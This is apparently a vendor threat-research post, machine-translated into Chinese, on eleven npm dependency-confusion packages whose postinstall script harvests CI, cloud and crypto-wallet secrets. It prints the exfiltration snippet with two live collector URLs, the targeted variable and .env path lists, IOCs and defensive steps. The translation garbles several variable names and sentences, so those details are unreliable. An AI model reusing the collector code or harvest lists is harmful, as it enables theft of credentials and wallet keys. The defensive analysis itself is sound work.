CryptoDAO 混乱:npm 包收割 CI/CD 以及加密秘密

CryptoDAO 混乱:十一个 npm 包,一个有效载荷,收割 CI/CD 以及加密钱包密钥

TL博士

2026年06月17日,一个npm账户发布了 十一个包裹,用途相同,有效载荷也相同。他们十个人携带 cryptodao- 字首 (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types第 11 个是作用域的 @public-for-cdao/core每个版本都已发布。 99.99.99 并发送字节完全相同的 recon.jspostinstall.

这些名称本身就说明了一切。它们读起来就像是加密/DAO 项目私有工具链的内部构建模块。它们以人为抬高的版本号发布到公共 npm 注册表中,静静等待构建。 pipeline 它被配置为解析这些名称,并且会在私有注册表之前(或代替私有注册表)访问公共 npm。这是 依赖混淆有效载荷经过精确调整,能够准确降落在预期位置: CI/CD 亚军.

日期 postinstall 火灾, recon.js 收集主机详细信息,大致扫描 四十个云、CI 和加密钱包环境变量读任何 .env 它找到所有能找到的文件,并将包含秘密信息的代码行原封不动地转发,然后将数据包发送给两个收集者—— webhook.site 以及一个 Pipedream 端点——TLS 证书验证已禁用。副本也写在…… /tmp.

严重性: 受影响的生态系统: NPM截至发稿时,所有 11 个软件包均已上线。

攻击解剖

该装置有四个活动部件,一旦你了解了它们的运作原理,就会发现它们都很简单易懂。 查看包名称下方一层。

1. 版本膨胀作为解析器诱饵。 每个软件包都声明了版本 99.99.99依赖关系混乱是指当包管理器请求一个包时发生的冲突。 内部名称,还会检查公共注册表并选择最高版本。 查找。npm 对插入符号或通配符范围的默认选择是 在所有已配置的源中,选择最令人满意的版本;如果两者都是私有的 对于同名注册表和公共 npm 答案,版本号较大的版本号获胜。 A 99.99.99 它基本上凌驾于项目任何实际的内部版本之上。 已达到,因此未绑定到私有源的解析器更倾向于使用 公开的——在本例中是敌对的——副本。操作员无需知道 目标的真实版本号;选择一个荒谬的最大值总是会造成平局。 突破他们的防线。

2. 安装后触发器。 的package.json 将有效载荷连接到安装程序 生命周期:

{   "scripts": { "postinstall": "node recon.js" } }

无需导入软件包。只需安装它——这可以通过持续集成 (CI) 实现。 pipeline 自动运行 recon.js.

3. 一次大规模的秘密搜查。 recon.js 分阶段组装结果数组:

  • 主机上下文:主机名、平台和版本、架构、用户名、工作状态 目录。
  • 环境变量:它遍历一个包含大约四十个名称和记录的固定列表 任何已设置的。该列表很有启发性——它将通用的 CI 令牌配对。 (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN)和云 证书 (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) 包含注册表和容器密钥(NPM_TOKEN, DOCKER_PASSWORD, 港口密码)以及一个具有鲜明加密货币风格的集群:  私钥, 助记符, 种子短语, INFURA_API_KEY, 炼金术 API 密钥, ETH_RPC, BSC_RPC记录的值仅保留前 50 个字符。
  • .ENV 文件:它会探测路径列表—— .ENV, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, 。生产/。发展 变体——对于任何存在的文件,它 将内容筛选为匹配的行 密钥|秘密|令牌|通行证|私钥|助记符 并将这些行完整地、不截断地推送到结果中。
  • 构建主机上下文:它列出了前 20 个条目 /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner// tmp /.

路径列表和变量列表都偏向于 GitLab 运行器,这表明 有效载荷直接位于自托管的 CI 基础设施,而不是开发人员处。 笔记本电脑。按类别对收获清单进行分组,可以清晰地展示预期收获:

类别 到达的变量/路径
CI/CD 身份与部署 CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
云端 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
注册表和容器 NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
资料储存库 DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
加密货币/区块链 PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
SLACK_TOKEN, DISCORD_TOKEN
磁盘上 .env 家庭+ /home/gitlab-runner/.env, /root/.env, /app/**/.env;目录列表 /builds/, /var/lib/gitlab-runner/

加密集群是它与通用 CI 密钥的区别所在。 扫描:钱包助记词和签名密钥仅出现在以下环境中: 区块链项目,它们直接映射到 加密DAO/迹象/合同的 为承运商命名。

4. 双重数据泄露,验证功能已禁用。 收集到的数组是 序列化后通过 POST 发送到两个目标位置:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

拒绝未授权:false 关闭出站 TLS 证书检查 调用时,相同的数据会被打印到标准输出(因此也会出现在 CI 作业日志中)。 写入 /tmp/.npm_recon_ .json错误往往被默默地吞噬,所以 发送失败后,安装输出中除了一条错误信息外,不会留下任何痕迹。 [侦察]安装在 线。

文件中的一条主要注释将其描述为“依赖关系混乱”。 侦察有效载荷。”环境值被截断为 50 个字符已 概念验证的形式。使其超越仅显示存在的信标的是…… .ENV 处理方式:秘密线路全部转发,目的地 是两个由攻击者控制的运行中的收集器,而不是一个只负责计数的接收器。 命中。

时间线

发布模式是单个脚本推送的标志,而不是十一次推送的标志。 独立上传。

时间(UTC,2026年06月17日) 创建
03:24:58 cryptodao-bot@99.99.99 出版
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — 作用域变体,约 24 分钟后

在 29 秒内发出了 10 个包裹,平均每 3 秒发出一个。 范围 @public-for-cdao/core 大约24分钟后,发生了第二次 同一目标的命名约定,以防使用该项目的项目引用了该目标。 内部工具链以作用域而非裸名称的形式存在。

妥协指标

类型 指示符
收藏家 hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
收藏家 hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
安装钩子 postinstall: node recon.js
已删除文件 /tmp/.npm_recon_<timestamp>.json
日志标记 [recon] <pkg>@<ver> installed on <hostname> (CI 日志中的标准输出)
行为 rejectUnauthorized: false 安装期间的出站 HTTPS
Payload recon.js所有十一个软件包都相同(一个共享的构建版本)
版本 99.99.99 每个包装上
cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (所有 99.99.99)
出版商 aduljune / aduljune@proton.me (邮箱未经核实,未链接源代码库)

 归因与观察行为

整个集群的所有特征都指向同一方。所有十一个软件包都已发布。 通过 npm 帐户 阿杜尔琼 (aduljune@proton.me一个未经核实的地址,没有 在25分钟内,同时链接源代码库 99.99.99 版, 运输 recon.js 其内容在所有位置都逐字节相同 软件包(所有 11 个提取副本的 MD5 值均匹配)。这是一个有效载荷。 被添加到名称列表中,而不是独立重用代码。

名称列表定义了目标对象。 cryptodao-*CDAO 描述 加密/DAO 项目的私有模块布局,以及有效载荷的收集列表 这与之前的猜测相符:除了通用的 CI 和云密钥之外,它还特别包含以下内容。 到达 私钥, 助记符, 种子短语以及以太坊/BSC RPC 和 提供程序密钥。 .ENV 搜索路径和目录列表由 GitLab-runner 提供 具体而言,可观察到的效应是任何 pipeline 被骗安装了这些 名称会转发其 CI 令牌、云密钥和磁盘上的数据。 .ENV 秘密——以及,为了 一个区块链项目,它的钱包材料——提供给两个第三方收藏家。

我们不声明账户的运营者是谁,也不声明他们计划用该账户做什么。 数据。事实本身就足以说明问题:这些名称针对的是特定类型的数据。 内部工具链,有效载荷读取并传输真实的秘密值,以及 基础设施已投入使用。

依赖混乱 之所以仍然有效,是因为它利用了解析器的行为,而不是…… 任何包裹都存在漏洞。这里的承运商无关紧要——十一个几乎空的包裹。 包裹——但爆炸半径无关紧要 pipeline 错误地更倾向于使用公共 npm 内部名称。CI 运行程序最不应该出现这种情况:它们持有 正是这些代币和 .ENV 此有效载荷读取的文件,以及它们如何安装 非交互地依赖项,因此 安装后 独自奔跑,无人监视。

这个集群也符合我们不断观察到的一种模式:安装时有效载荷呈现 在进行真正的资质认证收集时,却将其称为“研究”或“侦察”。 文件内容的更改不会改变代码在运行器上的行为。两个设计选择保持不变 活动静默:所有网络和文件系统操作都被封装在一个 异常处理程序会丢弃错误,例如发送被阻塞或文件丢失等情况。 不产生任何诊断输出,唯一打印的内容是一个无害的 [侦察] …已安装 融入正常安装对话中的语句。使用 webhook.site Pipedream 也刻意提供了便利——两者都是免费的。 即时配置请求捕获服务,因此运营商无需服务器。 在出口日志中,它们自己的主机名和目标主机名看起来都像普通的 SaaS 主机名。

即便如此,经济因素仍然值得防守者关注。 运营商代码无关紧要。注册十一个名称无需任何费用,有效载荷只有一个。 文件被复制了 11 次,所有执行操作都由包管理器完成。 配置错误 pipeline 任何使用这些名称之一的行为都将为整个过程买单。 操作。

防御者可采取的具体措施:

  • 内部作用域绑定到您的私有注册表。 配置 npm 以便内部名称
     作用域仅解析到您的注册表(作用域化的 .npmrc 注册表映射,
    或者使用一个永远不会访问公共 npm 的代理(针对已拥有的命名空间)。保留你的公共作用域名称,这样其他人就无法注册它们。
  • Commit 锁定文件并使用 --ignore-scripts 进行安装 在CI中 在可行的情况下,或 仔细审查真正需要安装脚本的少量依赖项。  如果 安装后 不被执行。
  • 将 99.99.99(或其他离谱的高值)版本的看似内部名称视为内部名称。 作为一种危险信号 用于依赖项审查和注册表监控。
  • 安装时出口发出警报。 A 安装后 打开一个出站 HTTPS 连接 连接——尤其是在禁用证书验证的情况下——到 webhook.site、Pipedream 或类似的请求捕获服务值得在网络边缘进行阻止,并在构建日志中标记。
  • 寻找文物。 检查跑步者 /tmp/.npm_recon_*.json 和用于 [侦察] … 已安装在 … 最近 CI 日志中的标记上。如果找到,则轮换每个 凭证已暴露给该机构 pipeline — CI 代币、云密钥、注册表代币,以及环境或 .env 文件中存在的任何钱包种子或私钥。

案例

截至撰写本文时,尚无关于此集群的外部报道;分析 以上内容直接基于已发布的软件包内容。

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
注册免费账号。
不需要信用卡。

保护您的软件开发和交付

使用 Xygeni 产品套件